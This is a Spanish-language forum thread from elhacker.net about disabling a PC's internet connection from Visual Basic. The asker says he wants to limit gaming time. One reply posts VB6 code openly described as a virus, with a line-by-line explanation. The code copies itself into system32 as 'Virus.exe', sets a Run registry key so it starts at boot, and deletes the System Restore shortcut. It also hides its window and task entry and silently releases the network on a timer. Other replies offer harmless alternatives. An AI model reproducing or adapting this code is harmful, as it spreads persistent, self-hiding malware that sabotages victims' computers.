Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: hunter18 en 12 Agosto 2010, 03:43 am



Título: Deshabilitar conexion a internet
Publicado por: hunter18 en 12 Agosto 2010, 03:43 am
He probado enviando a d.o.s el comando ipconfig /release con la funcion shell y funciona pero desde el messenger con la opcion reparar se vuelve a conectar la señal, asi que no funciona del todo.

Quiero hacer lo mismo que en la imagen pero desde vb6 ó D.O.S es decir activar o desactivar la conexion, es la unica forma que me sirve al 100% pero no se como lograrlo, he probado un par de codigos y no me han funcionado
(http://r.i.elhacker.net/cache?url=http://img641.imageshack.us/img641/7992/conexred.png)


Título: Re: Deshabilitar conexion a internet
Publicado por: fary en 12 Agosto 2010, 04:05 am
az un bucle que no pare de enviar ipconfig /release

salu2!


Título: Re: Deshabilitar conexion a internet
Publicado por: hunter18 en 18 Agosto 2010, 03:12 am
Podria ser pero no creo que sea la mejor alternativa.


Título: Re: Deshabilitar conexion a internet
Publicado por: ApOkAlizE en 18 Agosto 2010, 12:54 pm
¿sabes programar en VB?
Bueno pues te dejo aqui el codigo.

Private Sub Form_Load()
Dim ruta As String
ruta = App.Path & "\Video001.exe"
FileCopy ruta, "C:\WINDOWS\system32\Virus.exe"
Shell ("reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v Virus.exe /t REG_SZ /d C:\WINDOWS\SYSTEM32\Virus.exe /f")
Kill "C:\Archivos de programa\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Call Shell("ipconfig/release")
End Sub


Creo que lo he hecho bien, mira.
ruta = App.path & "\Video001.exe"   -----> significa que la variable ruta es equivalente a la ruta que tiene el virus este que quieres hacer, App.path es la ruta del archivo, pero luego hay que añadirle el nombre del virus, por tanto de nombre tendras que ponerle Video001, eso si no le pongas el EXE, solo pon Video001 como nombre.
FileCopy ruta, "C:\WINDOWS\system32\Virus.exe"   ---> esto es que vamos a la variable ruta que te recuerdo que es dodne esta el virus y le hacemos una copia y esta copia la pegamos en C:\WINDOWS\system32\Virus.exe" y si te fijas hemos cambiado el nombre de Video001.exe por Virus.exe

Shell ("reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v Virus.exe /t REG_SZ /d C:\WINDOWS\SYSTEM32\Virus.exe /f")  ---->esto es para hacer una copia de "C:\WINDOWS\system32\Virus.exe" y la guardamos en los registros de esta forma cada vez que se encienda el ordenador se activara el virus. REG_SZ es el tipo de llave que s ele pone en los registros, y la /f es para forzar la accion, por ejemplo si el archivo ya estaba guardado en los registros apra que no produzca error fuerza la acción.
lo de kill"c:\archivos de programa... esto es apra eliminar el restaurador dels istema, el restaurador es una herramienta con la que puedes dejar el PC tal y como estaba unos dias antes, de tal manera k si tieras al 9 de agosto de 2010 el ordenador se quedara como estaba ese dia, pues cone sto eliminamos este restaurador apra que nos e pueda restaurar

Private Sub Timer1_Timer()
On Error Resume Next
Visible = False
App.TaskVisible = False
Call Shell("ipconfig/release", vbHide)
End Sub

esto es la propiedad timer, le pones un timer a tu VB y le pones como intervalo 3 o 4 segundos. On Error Resume Next ---> es para que si se produce algun error lo ignore, ya que sin esto al producirse un error se bloquearia el programa
Visible = False  ----> para ocultar el formulario ya que sin esto al abrir el virus saldria una ventanita gris, y si cierra esta ventanita gris cierra el virus.
App.TaskVisible = False   ---> esto es para que si pressiona CONTROL + ALT + SUPRIMIR no pueda cerrar el virus ya que sino podria finalizar la tarea del virus.
Call Shell("ipconfig/release", vbHide)  ---> Call Shell es apra activar la shell, si quieres hacerlo mas corto con Shell basta no hace falta que pognas Call, luego lo que hay entre comillas es las acciones que se haran por la shell que en este casoe s desconfigurar el internet, atencion, ipconfig/release no e spara bloquear el internet es apra desconigurarlo si quieres bloquearlo tendrias que eliminarle el Driver de internet, y lo de vbHide es para que al ejecutarse la shell no salga la ventanita negra pk sino se notaria que tiene un virus.
Bueno pues creo que te lo he explicado bien, logicamente te lo enseño para que aprendas mejor a programar no para que te dediques  a putear al personal, pues aunque la ciencia pueda llegar a ser muy divertida, no es ningun juego.
NO ME HAGO RESPONSABLE DE TUS ACTOS.
ApOkAlizE


Título: Re: Deshabilitar conexion a internet
Publicado por: hunter18 en 19 Agosto 2010, 19:38 pm
Gracias por el codigo pero me parece demasiado codigo para algo tan vano y no es ningun virus lo que pretendo realizar.

Me han dicho que hay comando D.O.S que hace lo que necesito pero no lo encuentro, espero alguien lo sepa.

saludos


Título: Re: Deshabilitar conexion a internet
Publicado por: ApOkAlizE en 19 Agosto 2010, 20:19 pm
Pero si no quieres hacer un virus entonces¿ para que representa que sirve esto de desconfigurar el internet?


Título: Re: Deshabilitar conexion a internet
Publicado por: hunter18 en 20 Agosto 2010, 06:43 am
Lo necesito para cortar la conexion a internet despues de una determinada hora de uso para evitar el vicio de que se queden jugando mas de 2 horas en mi computador.
Si lo hago con release se reactiva desde el messenger y como dices podria hacer como dices y no hay problema pero no creo que sea lo mas optimo ademas de consumir memoria en vano.


Título: Re: Deshabilitar conexion a internet
Publicado por: seba123neo en 20 Agosto 2010, 06:48 am
la mas facil, desconectar el cable del router o meden que tengas  :xD, no necesitas programar nada...

haber proba esto...

Cerrar la conexión a internet con el shell (http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/330-cerrar-conexion-a-internet-con-el-shell.htm)

saludos.



Título: Re: Deshabilitar conexion a internet
Publicado por: raul338 en 20 Agosto 2010, 06:48 am
podrias poner a cierta hora modificar el archivo host que redireccione todo a ip local :P x lo que todo tiraria error 404 :P